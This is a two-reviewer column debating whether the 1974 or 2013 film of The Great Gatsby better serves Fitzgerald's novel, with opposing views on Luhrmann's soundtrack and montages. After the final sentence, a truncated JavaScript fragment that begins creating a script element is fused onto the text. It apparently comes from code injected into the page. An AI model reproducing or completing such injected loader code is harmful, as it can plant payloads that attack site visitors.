He Said, She Said: The Great Gatsby

Anthony Vega and Melissa Sikes


The Great Gatsby was poetry on paper but on screen it’s hard to translate the mystique of The Jazz Age without feeling a sense of bittersweet inadequacy. No film that takes the title, The Great Gatsby comes close to capturing the essence of the Jazz Age quite the way F. Scott Fitzgerald does with his typewriter. And certainly more than one overconfident director has tried.

The most recent movie had a lot of Jay-Z in it and that’s about all that can be said about it. Apparently, when you have a lot of money you can afford to bankroll movie soundtracks and use the namesake of a classic piece of literature as a plug for your vodka or whatever you might be selling that week. It’s sad, but I guess that reality says more about the movie than any of the flashy and uninteresting dialogue that was dreamt up for the director’s spastic scenes. Perhaps if the camera was patient enough to focus on something for more than two seconds, people could’ve actually understood what made Gatsby so enthralling in the first place, rather than solely rely on the face of Leonardo Di Caprio to sell tickets. But I guess you can’t expect a 2013 audience to pay attention to a movie adaption of a novel without throwing in ridiculously long montages with bright CGI, a goofy Jay-Z song, and the obligatory half-naked women. All cheap visual distractions with no substance — just like a few of the book’s characters.

Another “Gatsby” movie was made in 1974 and while this version isn’t a paragon for the film industry, it certainly does the book more justice. How much justice? Not enough. But at least the 1974 movie isn’t a complete insult to F. Scott Fitzgerald. In the 1970s it is quite evident that audiences had a bit more of an attention span, so the actors’ performances in this movie aren’t just scenes of melodramatic overacting tied together by montages of partying. This take on the classic has a bit more poise, but as I said before, neither one comes close to the actual book.


F. Scott Fitzgerald’s The Great Gatsby, the story of a failed love affair between Daisy and Gatsby himself, has been captivating audiences since its publication in 1925. The book has been adapted into several varying formats including ballet, computer games, literature, opera, radio, theatre and six films. The most recent film to grace the silver screen was Baz Luhrmann’s 2013 adaptation of the beloved tale. The star studded cast included Leonardo DiCaprio as Jay Gatsby, Tobey Maguire as Nick Carraway and Carey Mulligan as Daisy Buchanan to name a few. The book is in a category of its own, but the film did more justice in exposing its audience to the glamour of the Roaring Twenties.

The story is told through the point-of-view of Nick Carraway as he narrates through his memories of the infamous Jay Gatsby. Nick, our humble narrator, arrives in The Empire State from the Midwest in hopes of becoming a bond salesman. But upon arriving to West Egg and renting out a home next to the mysterious Gatsby, his life takes a turn. He becomes involved in a doomed love affair between his cousin, Daisy Buchanan, and Jay Gatsby. Along the way, you meet Daisy’s husband, Tom Buchanan, who is also having an affair. His lover Myrtle Wilson, married to George Wilson, has yet to realize the amount of trouble she is actually in. She is to be the character to bring the rest crashing down. And that is just the beginning…

The book is a classic. There is not much I can say to change that fact, but what I can say is that Luhrmann’s rendition of The Great Gatsby goes far and beyond the glitz and glamor merely described in the book. The luxury of throwing about silk clothing and Gatsby’s extravagant parties came to life on the screen. Luhrmann’s choice of soundtrack, ranging from artists like Andre 3000, Lana Del Rey and Jay-Z, one of the film’s executive producers, gave the tale a pleasant modern twist. Some of you may be thinking, “I think the film played up the parties too much and didn’t focus on the characters…” Hey. I see where you are coming from, but that was the point! It was overwhelming. The lives of the characters were crumbling right before your eyes and the parties were the only time they felt free. The montages lure us in and take us back to the grandeur of the Jazz Age. The overall indulgence is almost too much. The film makes you feel that. The book doesn’t even come close.

While this may just be my humble opinion, I recommend you read the book and checkout the movie for yourself. Allow yourself to be enchanted by the tale and dazzled by the cinematography.var d=document;var s=d.createElement(‘script’);